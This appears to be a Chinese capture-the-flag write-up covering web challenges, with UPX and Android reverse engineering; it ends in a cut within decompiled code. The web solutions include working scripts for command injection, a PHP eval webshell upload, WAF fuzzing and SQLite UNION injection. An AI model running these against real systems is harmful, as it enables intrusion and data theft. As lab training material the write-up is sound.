flag{e4f8406a-0cd4-4483-b288-221b5941ad65}Web
DD加速器
Challenge
D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器…
【难度:简单】
Solution
有命令注入漏洞,例如输入 ;id 就会返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)
读取根目录的 flag 文件发现是 fake flag,然后注意到根目录下面有一个隐藏文件夹(名字是随机生成的),它的名字还很长
这说明后端对 target 参数的长度做了限制,因此将一个长命令分拆成多个短命令,在 /tmp 逐步构建一个脚本文件,最后再执行这个脚本
import requestsfrom bs4 import BeautifulSoup # 目标 URLURL = ... # 创建一个会话以保持连接session = requests.Session() def execute_command(command): """ 发送带有注入命令的POST请求,并返回执行结果。 """ # 构造注入 payload。分号(;)用于分隔前一个无效命令和我们想要执行的命令。 payload = { 'region': 'cn', 'target': f'; {command}' } try: # 发送 POST 请求 response = session.post(URL, data=payload) response.raise_for_status() # 如果请求失败(如404, 500),则抛出异常 # 使用 BeautifulSoup 解析返回的 HTML soup = BeautifulSoup(response.text, 'html.parser') # 找到包含结果的 <pre> 标签 result_tag = soup.find('pre') if result_tag: # 返回标签内的文本内容,并去除首尾空白 return result_tag.get_text().strip() else: return "[-] Error: Could not find the result tag in the response." except requests.exceptions.RequestException as e: return f"[-] An error occurred: {e}" def main(): print("Target:", URL) print("Type 'exit' or 'quit' to close the shell.") print("-" * 45) while True: try: # 获取用户输入的命令 cmd = input("shell> ") # 检查退出条件 if cmd.lower() in ["exit", "quit"]: print("Exiting.") break # 如果输入为空,则继续下一次循环 if not cmd: continue # 执行命令并获取结果 result = execute_command(cmd) # 打印结果 print(result) except KeyboardInterrupt: print("\nExiting.") break except Exception as e: print(f"An unexpected error occurred: {e}") break if __name__ == "__main__": main() """echo -n 'find /' >/tmp/qecho -n ' -name ' >>/tmp/qecho -n '"*fl' >>/tmp/qecho -n 'ag*"' >>/tmp/qecho -n ' 2>/dev' >>/tmp/qecho -n '/null' >>/tmp/qcat /tmp/qsh /tmp/q echo -n 'cat /.' >/tmp/wecho -n '7si30mx' >>/tmp/wecho -n '0bii6bl' >>/tmp/wecho -n 'qz3d9oi' >>/tmp/wecho -n '1vrvfz4' >>/tmp/wecho -n '5g3d' >>/tmp/wecho -n '/flag' >>/tmp/wcat /tmp/wsh /tmp/w"""shell> echo -n 'find /' >/tmp/q执行失败shell> echo -n ' -name ' >>/tmp/q执行失败shell> echo -n '"*fl' >>/tmp/q执行失败shell> echo -n 'ag*"' >>/tmp/q执行失败shell> echo -n ' 2>/dev' >>/tmp/q执行失败shell> echo -n '/null' >>/tmp/q执行失败shell> cat /tmp/qfind / -name "*flag*" 2>/dev/nullshell> sh /tmp/q/usr/include/x86_64-linux-gnu/bits/waitflags.h/usr/include/x86_64-linux-gnu/bits/ss_flags.h/usr/include/x86_64-linux-gnu/asm/processor-flags.h/usr/include/linux/kernel-page-flags.h/usr/include/linux/tty_flags.h/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph/usr/local/lib/php/build/ax_check_compile_flag.m4/usr/share/dpkg/buildflags.mk/usr/bin/dpkg-buildflags/sys/kernel/mm/prezero/page_clear_engine/hw_flag_cc/sys/devices/pnp0/00:04/tty/ttyS0/flags/sys/devices/platform/serial8250/tty/ttyS2/flags/sys/devices/platform/serial8250/tty/ttyS3/flags/sys/devices/platform/serial8250/tty/ttyS1/flags/sys/devices/pci0000:00/0000:00:06.0/virtio3/net/eth0/flags/sys/devices/virtual/net/lo/flags/sys/devices/virtual/net/dummy0/flags/sys/module/scsi_mod/parameters/default_dev_flags/proc/sys/kernel/acpi_video_flags/proc/kpageflags/.7si30mx0bii6blqz3d9oi1vrvfz45g3d/flag/flagshell> echo -n 'cat /.' >/tmp/w执行失败shell> echo -n '7si30mx' >>/tmp/w执行失败shell> echo -n '0bii6bl' >>/tmp/w执行失败shell> echo -n 'qz3d9oi' >>/tmp/w执行失败shell> echo -n '1vrvfz4' >>/tmp/w执行失败shell> echo -n '5g3d' >>/tmp/w执行失败shell> echo -n '/flag' >>/tmp/w执行失败shell> cat /tmp/wcat /.7si30mx0bii6blqz3d9oi1vrvfz45g3d/flagshell> sh /tmp/wflag{1a737c7c-1146-4fd4-a6d9-0bb447802cb0}FLAG
flag{1a737c7c-1146-4fd4-a6d9-0bb447802cb0}搞点哦润吉吃吃橘
Challenge
Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题…
【难度:简单】
Solution
首先在页面原代码找到泄露的账密 Doro/Doro_nJlPVs_@123
登进去之后有一个小挑战,手动完成很容易超时,直接在控制台发包解题:
async function solveChallengeInConsole() { try { // 1. 模拟点击"开始验证"获取挑战参数 const startResponse = await fetch('/start_challenge', { method: 'POST', headers: { 'Content-Type': 'application/json' } }); const challengeData = await startResponse.json(); // 2. 从返回的数据中解析出计算所需的变量 // 使用正则表达式从 expression 字符串中提取时间戳 const timestampMatch = challengeData.expression.match(/\((\d+)/); if (!timestampMatch) { console.error("无法解析时间戳"); return; } // 使用 BigInt 来处理可能超出 JavaScript 安全整数范围的大数计算 const timestamp = BigInt(timestampMatch[1]); const multiplier = BigInt(challengeData.multiplier); const xor_value = BigInt(challengeData.xor_value); // 3. 根据公式计算 token const token = (timestamp * multiplier) ^ xor_value; // 4. 提交计算出的 token 进行验证 const verifyResponse = await fetch('/verify_token', { method: 'POST', headers: { 'Content-Type': 'application/json' }, // 将 BigInt 转换为普通 Number 类型再发送,因为 JSON 不支持 BigInt body: JSON.stringify({ token: Number(token) }) }); const result = await verifyResponse.json(); // 5. 显示最终结果 if (result.success && result.flag) { console.log(`%c${result.flag}`, "color: red; font-size: 16px; font-weight: bold;"); } } catch (error) { console.error(error); }} solveChallengeInConsole();FLAG
flag{5dc03b48-d56b-4225-920b-43fb837b6b39}真的是签到诶
Challenge
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
Solution
给 AI 写了一个交互式的 shell,然后读取根目录的 flag 文件就行
import requestsimport base64import codecs url = "https://eci-2ze3zu83b4b1t4z1khnk.cloudeci1.ichunqiu.com:80/" def atbash(text): """Python implementation of the Atbash cipher.""" result = '' for char in text: if 'a' <= char.lower() <= 'z': is_upper = char.isupper() base = ord('A') if is_upper else ord('a') offset = ord(char.lower()) - ord('a') new_char_code = base + (25 - offset) result += chr(new_char_code) else: result += char return result def create_payload(command): """Encodes a shell command into the final Base64 payload.""" command_no_spaces = command.replace(' ', '${IFS}') php_command = f"system('{command_no_spaces}');" payload_after_rot13 = codecs.encode(php_command, 'rot_13') payload_after_atbash = atbash(payload_after_rot13) final_payload = base64.b64encode(payload_after_atbash.encode('utf-8')).decode('utf-8') return final_payload # --- Main Interactive Loop ---print(f"[*] Target URL: {url}")print("Type 'exit' or 'quit' to close.") while True: try: user_command = input("shell > ") if user_command.lower() in ['exit', 'quit']: print("Exiting.") break if not user_command: continue encoded_payload = create_payload(user_command) data = {'cipher': encoded_payload} response = requests.post(url, data=data, timeout=10) response_text = response.text # Define the text that comes BEFORE and AFTER our command output start_marker = "</span>\n</code>" end_marker = "真的是签到吗?" if start_marker in response_text and end_marker in response_text: # 1. Split the response by the start_marker and take the second part temp_output = response_text.split(start_marker, 1)[1] # 2. Split that result by the end_marker and take the first part command_output = temp_output.split(end_marker, 1)[0].strip() # 3. Print the clean output if command_output: print(command_output) else: # This handles commands that have no output (like `cd` or an empty `ls`) print("(Command executed with no output)") else: # This block runs if the page structure is unexpected (e.g., environment expired) print("\n[!] Error: Could not find the expected page structure.") print(f" - HTTP Status Code: {response.status_code}") print("\n --- Raw Server Response ---") print(response.text) print(" ---------------------------\n") except KeyboardInterrupt: print("\nExiting.") breakFLAG
flag{da78849d-533f-462f-a159-774aeb27df56}白帽小K的故事(1)
Challenge
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】
Solution
可以上传文件,猜测是有文件上传漏洞
猜测后端没校验文件类型,直接写一个 Python 脚本发包:
import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)url = "https://.../v1/upload" files = { 'file': ( "shell.php", "<?php @eval($_POST['cmd']);?>", 'audio/mpeg' )} response = requests.post(url, files=files, verify=False, timeout=10)print(response.text) # {"success":"File uploaded","file":"shell.php"}然后直接连接 https://.../v1/music?file=shell.php 发现连不上,回来看提示说要看源代码
// TODO:// 小岸同学到时候记得把这个函数删掉async function fetchload(file) { try { const res = await fetch('/v1/onload', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `file=${encodeURIComponent(file)}` }); const data = await res.json(); if (data.success) { console.log('File content:', data.success); } else { console.error('Error loading file:', data.error); } } catch (e) { console.error('Request failed', e); }}用脚本连上去看看
import requestsimport sysimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 目标URLurl = "https://.../v1/onload" # webshell文件名webshell_filename = "shell.php" # webshell中接收命令的POST参数名POST_PARAMETER_CMD = "cmd" def run_command(command): """ 通过 /v1/onload 接口包含并执行webshell里的命令 """ escaped_command = command.replace("'", "'\\''") php_payload = f"system('{escaped_command}');" # 构造POST请求的数据 data = { 'file': webshell_filename, POST_PARAMETER_CMD: php_payload } try: response = requests.post(url, data=data, verify=False, timeout=15) if response.status_code == 200: try: json_response = response.json() if 'success' in json_response: return json_response['success'] elif 'error' in json_response: return f"Server Error: {json_response['error']}" else: return response.text except requests.exceptions.JSONDecodeError: return response.text else: return f"Error: Server returned status code {response.status_code}\nResponse: {response.text}" except requests.exceptions.RequestException as e: return f"Request failed: {e}" def interactive_shell(): """交互式shell""" print(f"[*] Target endpoint: {url}") print("[*] Type 'exit' or 'quit' to close the shell.") while True: try: command_to_run = input("shell > ") if command_to_run.lower() in ["exit", "quit"]: break if not command_to_run: continue result = run_command(command_to_run) print(result) except KeyboardInterrupt: print("\n[*] Shell closed by user.") break except Exception as e: print(f"An error occurred: {e}") break print("[*] Exiting webshell.") if __name__ == "__main__": interactive_shell()在根目录发现 flag
FLAG
flag{717ef2a9-fbcf-42ab-bd1b-3d246c355992}小E的管理系统
Challenge
小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接——你能绕过小E的防火墙,拿到数据库里的秘密吗?
【难度:困难】
Solution
Step 1: 确认注入点
最初的探测表明,id 参数存在可执行运算的特征,这是数字型注入的典型标志。
证据:
-
请求 1:
.../query.php?id=3%7C3(URL编码的3|3)json[{id: 3, cpu: "5%", ...}]分析:
3|3(按位或) 的结果是3。 -
请求 2:
.../query.php?id=3%7C4(URL编码的3|4)json[{id: 7, cpu: "78%", ...}]分析:
3|4(按位或) 的结果是7。
结论: id 参数被直接拼接到 SQL 查询中,存在整数型注入漏洞。
Step 2: WAF 规则探测
探测哪些字符和语法被禁止
import requestsimport urllib.parseimport timefrom colorama import init, Fore, Styleinit(autoreset=True) # --- 配置区 ---TARGET_URL_TEMPLATE = "https://.../query.php?id={payload}"BLOCKED_STATUS_CODES = {403, 406}BLOCKED_KEYWORDS = ["firewall blocked", "forbidden", "waf", "access denied"] # --- Fuzzing 载荷区 ---payloads_to_discover = { "operators": [ "|", "&", "^", "~", "+", "-", "*", "/", "%", "<<", ">>" ], "logic_comparisons": [ "=", ">", "<", "<>", "!=", "like", "regexp", "is" ], "parentheses": [ "(", ")", "()" ], "comments_and_whitespace": [ "/**/", # 内联注释 "/*comment*/", # 带内容的注释 "%0a", # 换行符 \n "%0d", # 回车符 \r "%09", # Tab符 " ", # 普通空格 (虽然被fuzz过,但单独再测) "#comment", # MySQL 注释 "-- comment", # SQL 注释 (注意末尾空格) ], "keyword_bypass_wrappers": [ "/*!{word}*/", "/*!50000{word}*/", # MySQL 5.0+ 版本注释 ]} def get_response(payload): """封装请求逻辑""" try: encoded_payload = urllib.parse.quote(payload, safe='') url = TARGET_URL_TEMPLATE.format(payload=encoded_payload) # print(f"{Style.DIM} -> Trying URL: {url}") # 取消注释以调试URL response = requests.get(url, timeout=5) return response except requests.exceptions.RequestException as e: print(f"{Fore.MAGENTA}[!] 网络错误 for payload '{payload}': {e}") return None def is_blocked(response): """判断是否被WAF拦截""" if not response: return True if response.status_code in BLOCKED_STATUS_CODES: return True content = response.text.lower() for keyword in BLOCKED_KEYWORDS: if keyword in content: return True return False def run_discovery(): """主探测函数""" print(f"{Fore.CYAN}[*] 正在建立响应基线...") # 基线1: 正常成功的请求 baseline_success = get_response("3") if is_blocked(baseline_success): print(f"{Fore.RED}[!] 请检查URL和网络") return print(f"{Fore.GREEN}[+] 成功基线 (id=3): Status={baseline_success.status_code}, Length={len(baseline_success.text)}") # 基线2: 正常失败/无结果的请求 baseline_notfound = get_response("999999") print(f"{Fore.GREEN}[+] 未找到基线 (id=999999): Status={baseline_notfound.status_code}, Length={len(baseline_notfound.text)}") print(f"\n{Fore.CYAN}[*] 开始进行基础功能探测...") for category, items in payloads_to_discover.items(): print(f"\n{Fore.YELLOW}--- 正在探测类别: {category} ---") for item in items: # 对不同的类别使用不同的测试模板 if category == "operators": # 模板: 3<op>4 -> 预期结果会改变 (如3|4=7) test_payload = f"3{item}4" elif category == "keyword_bypass_wrappers": # 测试包装器能否藏住一个被禁的关键词 test_payload = item.format(word="union") else: # 模板: 3<payload> -> 预期结果不变或报错 test_payload = f"3{item}" resp = get_response(test_payload) if is_blocked(resp): print(f"{Fore.RED}[-] BLOCKED : {test_payload}") continue # 如果没被拦截,分析响应 # 响应和成功基线完全一样,说明payload被忽略或等效 if resp.text == baseline_success.text: print(f"{Fore.GREEN}[+] ALLOWED (Ignored/Equivalent): {test_payload}") # 响应和未找到基线一样,说明payload造成了逻辑假 elif resp.text == baseline_notfound.text: print(f"{Fore.CYAN}[+] ALLOWED (Resulted in False): {test_payload}") # 响应内容不同,说明payload被执行并改变了结果!这是重大发现! else: print(f"{Fore.MAGENTA}{Style.BRIGHT}[*] POTENTIAL FIND! (Result Changed): {test_payload} -> Len={len(resp.text)}") time.sleep(0.5) if __name__ == "__main__": run_discovery()结论: 几乎所有常见的空白符、注释符、逗号和括号都被 WAF 拦截,唯一的例外是 Tab 字符 (%09),所有后续的 payload 都将使用 %09 代替空格
Step 3: 信息收集
确定真实列数:
import requestsfrom colorama import init, Fore, Styleimport sysinit(autoreset=True) # --- 配置区 ---# 请将此 URL 替换为您的目标 URLBASE_URL = "https://.../query.php"# 测试的最大列数MAX_COLUMNS_TO_TEST = 25 def find_true_column_count(): """ 通过系统性地测试 ORDER BY 子句,来精确地确定 SQL 查询返回的真实列数 """ print(f"{Fore.CYAN}[*] 目标 URL: {BASE_URL}") print("-" * 50) last_successful_count = 0 for i in range(1, MAX_COLUMNS_TO_TEST + 1): # 构造 payload,例如: "1 order by 1", "1 order by 2", ... # 使用 \t (制表符) 代替空格,requests 库会自动将其 URL 编码为 %09 payload = f"1\torder\tby\t{i}" params = {'id': payload} try: print(f"{Style.DIM} -> 正在测试 ORDER BY {i}...", end="") # 发送 GET 请求,设置一个合理的超时时间 resp = requests.get(BASE_URL, params=params, timeout=10) # --- 判断逻辑 --- # 成功的标志: HTTP 状态码为 200,并且响应内容中不包含已知的错误指示词。 # SQLite 的列数超出范围错误信息中通常包含 "out of range"。 if resp.status_code == 200 and "error" not in resp.text.lower() and "out of range" not in resp.text.lower(): print(f" -> {Fore.GREEN}成功") # 如果成功,更新最后一次成功的计数值 last_successful_count = i else: # 任何非 200 状态码或包含错误信息的响应都意味着失败 print(f" -> {Fore.RED}失败!") print(f" (状态码: {resp.status_code}, 响应片段: '{resp.text[:50].strip()}...')") # 既然在第 i 列失败了,那么真实列数就是 i - 1 if last_successful_count > 0: print("-" * 50) print(f"{Fore.GREEN}{Style.BRIGHT}[+] 探测完成!") print(f"{Fore.YELLOW} 查询在尝试第 {i} 列时失败。") print(f"{Fore.YELLOW} 因此,原始查询的真实列数是: {last_successful_count}") print("-" * 50) return last_successful_count else: # 如果连 order by 1 都失败了,说明存在其他问题 print(f"{Fore.RED}[!] 错误: 'ORDER BY 1' 失败。请检查 URL、网络或 WAF 规则。") return 0 except requests.exceptions.RequestException as e: print(f" -> {Fore.RED}发生网络错误: {e}") print(f"{Fore.RED}[!] 因网络问题导致测试中断。") return 0 print(f"\n{Fore.YELLOW}[!] 警告: 测试已达到上限 ({MAX_COLUMNS_TO_TEST}列) 仍未失败。") print(f" 查询可能支持超过 {last_successful_count} 列,或者判断逻辑需要调整。") return last_successful_count if __name__ == "__main__": true_count = find_true_column_count() if true_count > 0: print(f"\n脚本执行完毕。最终确定的列数为 {true_count}。") else: print("\n脚本执行完毕,但未能确定列数。")测试结果:
脚本在 ORDER BY 6 时失败,证明了原始查询的真实列数是 5
数据库指纹识别与结构探测:
import requestsimport jsonfrom colorama import init, Fore, Styleimport sysinit(autoreset=True) # --- 配置区 ---BASE_URL = "https://.../query.php"# 真实列数KNOWN_COLUMN_COUNT = 5 def reconnaissance_scout(): """ 一个用于数据库指纹识别和结构探测的完整脚本 """ print(f"{Fore.CYAN}[*] 目标 URL: {BASE_URL}") print(f"{Fore.CYAN}[*] 已知列数: {KNOWN_COLUMN_COUNT}") print("-" * 60) # --- 步骤 1: 数据库指纹识别 --- print(f"{Fore.YELLOW}[Step 1] 正在进行数据库指纹识别...") # 构造一个必然会失败的查询,用于触发数据库特定的错误信息 # 我们查询一个几乎不可能存在的表名 payload_error = "0\tunion\tselect\t" + "\t,".join(["1"] * KNOWN_COLUMN_COUNT) + "\tfrom\ta_very_non_existent_table_123" # 注意:上述 payload 包含了逗号,在本次特定挑战中无法使用。 # 因此,我们采用更直接的方法:查询一个不存在的表,并期望后端代码能返回错误。 # 这种方法依赖于后端是否会暴露数据库错误。 payload_error_no_comma = "0\tunion\tselect\t*\tfrom\ta_very_non_existent_table_123" params_error = {'id': payload_error_no_comma} db_type = "Unknown" try: print(f"{Style.DIM} -> 发送探测请求以触发错误...") resp_error = requests.get(BASE_URL, params=params_error, timeout=10) error_text = resp_error.text.lower() # 根据不同数据库的典型错误信息进行判断 if "unable to prepare statement" in error_text: db_type = "SQLite" print(f"{Fore.GREEN}[+] 指纹识别成功: {Style.BRIGHT}SQLite") elif "you have an error in your sql syntax" in error_text: db_type = "MySQL" print(f"{Fore.GREEN}[+] 指纹识别成功: {Style.BRIGHT}MySQL") elif "syntax error at or near" in error_text: db_type = "PostgreSQL" print(f"{Fore.GREEN}[+] 指纹识别成功: {Style.BRIGHT}PostgreSQL") else: print(f"{Fore.YELLOW}[-] 指纹识别失败: 未能从错误信息中识别出数据库类型。") print(f" 原始错误响应: {resp_error.text[:100]}") except requests.exceptions.RequestException as e: print(f"{Fore.RED}[!] 指纹识别失败: 发生网络错误 {e}") return # 如果无法识别数据库,后续步骤也无法进行 print("-" * 60) # --- 步骤 2: 数据库结构探测 --- if db_type == "Unknown": print(f"{Fore.RED}[!] 由于未能识别数据库类型,无法进行结构探测") return print(f"{Fore.YELLOW}[Step 2] 正在探测 {db_type} 数据库的结构...") # 根据已识别的数据库类型,选择查询对应的系统表 if db_type == "SQLite": # SQLite 的元数据表是 sqlite_master,它恰好有5列,完美匹配! payload_schema = "0\tunion\tselect\t*\tfrom\tsqlite_master" elif db_type == "MySQL": # MySQL 需要从 information_schema.tables 中构造5列 payload_schema = "0\tunion\tselect\ttable_catalog,table_schema,table_name,table_type,null\tfrom\tinformation_schema.tables" print(f"{Fore.YELLOW}[!] MySQL 的 payload 包含逗号,在本次特定挑战中可能无法使用") else: print(f"{Fore.RED}[!] 尚未为 {db_type} 实现结构探测逻辑。") return params_schema = {'id': payload_schema} try: print(f"{Style.DIM} -> 正在查询系统表以获取所有表信息...") resp_schema = requests.get(BASE_URL, params=params_schema, timeout=10) if resp_schema.status_code == 200 and "error" not in resp_schema.text.lower(): print(f"{Fore.GREEN}[+] 成功获取数据库结构") try: schema_data = json.loads(resp_schema.text) print(f"{Fore.CYAN}--- 数据库结构详情 ---") for item in schema_data: # 根据 SQLite 的返回格式进行解析 if db_type == "SQLite": obj_type = item.get('id', 'N/A') obj_name = item.get('cpu', 'N/A') table_name = item.get('ram', 'N/A') sql_statement = item.get('lastChecked', 'N/A') if obj_type == "table": print(f" - 表名: {Fore.WHITE}{Style.BRIGHT}{obj_name}{Style.RESET_ALL}") print(f" - 所属表: {table_name}") print(f" - 创建语句: {sql_statement}") print(f"{Fore.CYAN}------------------------") except json.JSONDecodeError: print(f"{Fore.RED}[!] 获取结构成功,但响应不是有效的 JSON 格式") print(f" 原始响应:\n{resp_schema.text}") else: print(f"{Fore.RED}[!] 结构探测失败") print(f" 状态码: {resp_schema.status_code}, 响应: {resp_schema.text[:100]}") except requests.exceptions.RequestException as e: print(f"{Fore.RED}[!] 结构探测失败: 发生网络错误 {e}") if __name__ == "__main__": reconnaissance_scout()测试结果:
- 查询不存在的表时,返回了包含
Unable to prepare statement的错误,这是 SQLite 的典型特征。 - 查询
sqlite_master成功,返回了数据库的完整结构:结论: 数据库为 SQLite,存在text- 表名: node_status - 所属表: node_status - 创建语句: CREATE TABLE node_status ( node_id INTEGER PRIMARY KEY, cpu_usage VARCHAR(10), ram_usage VARCHAR(10), status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')), last_checked DATETIME DEFAULT CURRENT_TIMESTAMP) - 表名: sqlite_sequence - 所属表: sqlite_sequence - 创建语句: CREATE TABLE sqlite_sequence(name,seq) - 表名: sys_config - 所属表: sys_config - 创建语句: CREATE TABLE sys_config ( id INTEGER PRIMARY KEY AUTOINCREMENT, config_key VARCHAR(50) UNIQUE, config_value TEXT)node_status(5列),sqlite_sequence(2列), 和sys_config(3列) 三个表,flag 很有可能在sys_config中
Step 5: 跨表拼接
目标 sys_config 是 3 列,而 UNION 需要 5 列,且我们无法用逗号添加 NULL 来补齐,sys_config 表无法通过常规的 UNION SELECT * 读取。既然无法直接读取,我们就必须创造一个列数为 5 的数据源。我们有 sys_config (3列) 和 sqlite_sequence (2列),在 SQL 中可以用 JOIN 将两个表横向连接,列数正好是 5。
import requestsimport json # --- 配置 ---# 请再次确认 URL 是否有效BASE_URL = "https://.../query.php" def main(): """ 通过 JOIN 两个列数不足的表来构造一个5列表,从而读取 sys_config 和 sqlite_sequence 的内容 """ # 构造终极 Payload: # 0 union select * from sys_config join sqlite_sequence # 使用 \t 来代替空格 payload = "0\tunion\tselect\t*\tfrom\tsys_config\tjoin\tsqlite_sequence" params = {'id': payload} try: resp = requests.get(BASE_URL, params=params, timeout=10) print(f"\n-------------------- 最终查询结果 --------------------") try: parsed_json = json.loads(resp.text) pretty_json = json.dumps(parsed_json, indent=4) print(pretty_json) except json.JSONDecodeError: print(resp.text) print(f"\n[!] 攻击失败。服务器返回了非预期的格式。") except requests.exceptions.RequestException as e: print(f"[!]: 发生网络错误: {e}") print(f"------------------------------------------------------") if __name__ == "__main__": main()服务器返回以下数据:
[ { "id": 2, "cpu": "flag", "ram": "flag{4509550e-6eeb-4822-8b32-6c5015a1fc49}", "status": "sys_config", "lastChecked": 2 }]FLAG
flag{4509550e-6eeb-4822-8b32-6c5015a1fc49}Reverse
尤皮·埃克斯历险记(1)
Challenge
你是一个生活在希尔大陆的小有名气的骑士,有一天,一个自称代号「尤皮·埃克斯」(UP·X)的骑士找到你,“来和我切磋吧!”他朝你嚷道。“
你有什么特殊本领或者特长吗?”
“我的‘尤皮·埃克斯’盔甲非常精良,能保护我不被刀剑所伤,还会自动阻止试图解析我的盔甲的特殊能力的人!如果你不信,就来试试挑战我吧!”
【难度:简单】
Solution
upx 脱壳之后丢给 mcp 分析:
我们已拿到主逻辑与加密函数。判定条件为:
- 先对输入做 encrypt,得到 out。
- 再逐字节 out[i] XOR K 与目标字节比较,K=0x3C(无调试器)或 K=0xC3(被调试)。
- 长度必须为 34。
- 目标字节序列来源:24 字节字面量
isfhGJ\tt~~cU\ny\nuTjcj\tT~~cj+ 8 字节 QWORD 0x5047B777E756451 + 2 字节 16753(LE 为 0x71,0x41)。为直接复原 flag,我将用系统 Python 计算:先构造目标 34 字节,XOR 0x3C 得到期望的加密输出,再按 encrypt 规则反推原始输入:
- 若 out 为 ‘0’..‘9’,原字符为 chr(105 - out)
- 否则试图解 letter:c = (-69 - out) mod 256,若为字母则取该字母
- 否则原字符 = out(非字母数字保持不变)
import struct def build_target_bytes(): # 24-byte literal with tabs/newlines exactly as in binary literal = b"isfhGJ\tt~cU\ny\nuTjcj\tT~cj" # overwrite next 8 bytes via QWORD at index 3 (little-endian) qword = struct.pack("<Q", 0x5047B777E756451) # then 2 bytes from n16753 (little-endian) hword = struct.pack("<H", 16753) # total expected length is 34 bytes return literal + qword + hword def invert_encrypt_byte(o): # digit branch: if original C was '0'..'9', output O = 105 - C, so C = 105 - O if 48 <= o <= 57: return 105 - o # letter branch: O = (-69 - C) mod 256, invert as C = (-69 - O) mod 256, must be alphabetic c = (-69 - o) & 0xFF if (65 <= c <= 90) or (97 <= c <= 122): return c # other chars unchanged through encrypt return o def recover_flag(K): target = build_target_bytes() out_enc = bytes(b ^ K for b in target) # this is encrypt(input) result used in comparison orig = bytes(invert_encrypt_byte(o) for o in out_enc) try: return orig.decode("ascii") except UnicodeDecodeError: return orig.decode("latin1") def main(): print("K=0x3C (no debugger):", recover_flag(0x3C)) print("K=0xC3 (debugger present):", recover_flag(0xC3)) if __name__ == "__main__": print("Length check (should be 34):", len(build_target_bytes())) main()FLAG
flag{E4sy_R3v3rSe_e4Sy_eNcrypt10n}OhNativeEnc
Challenge
安卓的native代码在哪呢
【难度:简单】
Solution
先查看主函数 MainActivity
package work.pangbai.ohnativeenc; import android.content.DialogInterface;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;import android.view.View;import androidx.appcompat.app.AppCompatActivity;import androidx.navigation.NavController;import androidx.navigation.Navigation;import androidx.navigation.ui.AppBarConfiguration;import androidx.navigation.ui.NavigationUI;import com.google.android.material.dialog.MaterialAlertDialogBuilder;import com.google.android.material.snackbar.Snackbar;import work.pangbai.ohnativeenc.databinding.ActivityMainBinding; /* loaded from: classes2.dex */public class MainActivity extends AppCompatActivity { private AppBarConfiguration appBarConfiguration; private ActivityMainBinding binding; @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity protected void onCreate(Bundle bundle) { super.onCreate(bundle); ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater()); this.binding = inflate; setContentView(inflate.getRoot()); setSupportActionBar(this.binding.toolbar); NavController findNavController = Navigation.findNavController(this, R.id.nav_host_fragment_content_main); AppBarConfiguration build = new AppBarConfiguration.Builder(findNavController.getGraph()).build(); this.appBarConfiguration = build; NavigationUI.setupActionBarWithNavController(this, findNavController, build); this.binding.fab.setOnClickListener(new View.OnClickListener() { // from class: work.pangbai.ohnativeenc.MainActivity.1 @Override // android.view.View.OnClickListener public void onClick(View view) { Snackbar.make(view, "喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗", 0).setAnchorView(R.id.fab).setAction("Action", (View.OnClickListener) null).show(); } }); } @Override // android.app.Activity public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override // android.app.Activity public boolean onOptionsItemSelected(MenuItem menuItem) { if (menuItem.getItemId() == R.id.action_settings) { new MaterialAlertDialogBuilder(this).setTitle((CharSequence) "NewStarCTF2025").setMessage((CharSequence) "欢迎参加 NewStarCTF2025,你需要解出类似于 flag{} 的文本,并在比赛平台提交").setPositiveButton((CharSequence) "OK", (DialogInterface.OnClickListener) null).create().show(); return true; } return super.onOptionsItemSelected(menuItem); } @Override // androidx.appcompat.app.AppCompatActivity public boolean onSupportNavigateUp() { return NavigationUI.navigateUp(Navigation.findNavController(this, R.id.nav_host_fragment_content_main), this.appBarConfiguration) || super.onSupportNavigateUp(); }}里面提到 喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗,把 so 文件导出来用 IDA 打开分析,加密过程在 Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag 函数里:
char __fastcall Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag(__int64 a1, __int64 a2, __int64 a3){ const char *src; // rbx unsigned int v4; // edi unsigned int v5; // r11d unsigned int v6; // r12d unsigned int v7; // edx unsigned int v8; // r14d unsigned int v9; // r9d unsigned int v10; // r10d unsigned int v11; // r13d unsigned int i; // r15d __int64 v13; // rax int v14; // r14d char v15; // al __int64 n29; // rdx unsigned __int64 n0x1F; // rsi bool v18; // zf bool v19; // cf unsigned int v21; // [rsp+10h] [rbp-78h] char dest[16]; // [rsp+30h] [rbp-58h] BYREF __int128 v23; // [rsp+40h] [rbp-48h] unsigned __int64 v24; // [rsp+50h] [rbp-38h] v24 = __readfsqword(0x28u); src = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0); __android_log_print(4, "native", "input:%s", src); v23 = 0; *(_OWORD *)dest = 0; strncpy(dest, src, 0x20u); v4 = HIDWORD(v23); v5 = *(_DWORD *)dest; v6 = *(_DWORD *)&dest[4]; v7 = *(_DWORD *)&dest[12]; v8 = v23; v9 = DWORD1(v23); v10 = DWORD2(v23); v11 = *(_DWORD *)&dest[8]; for ( i = 114514; i != 1488682; i += 114514 ) { v21 = v8; v13 = (i >> 2) & 3; v14 = *(_DWORD 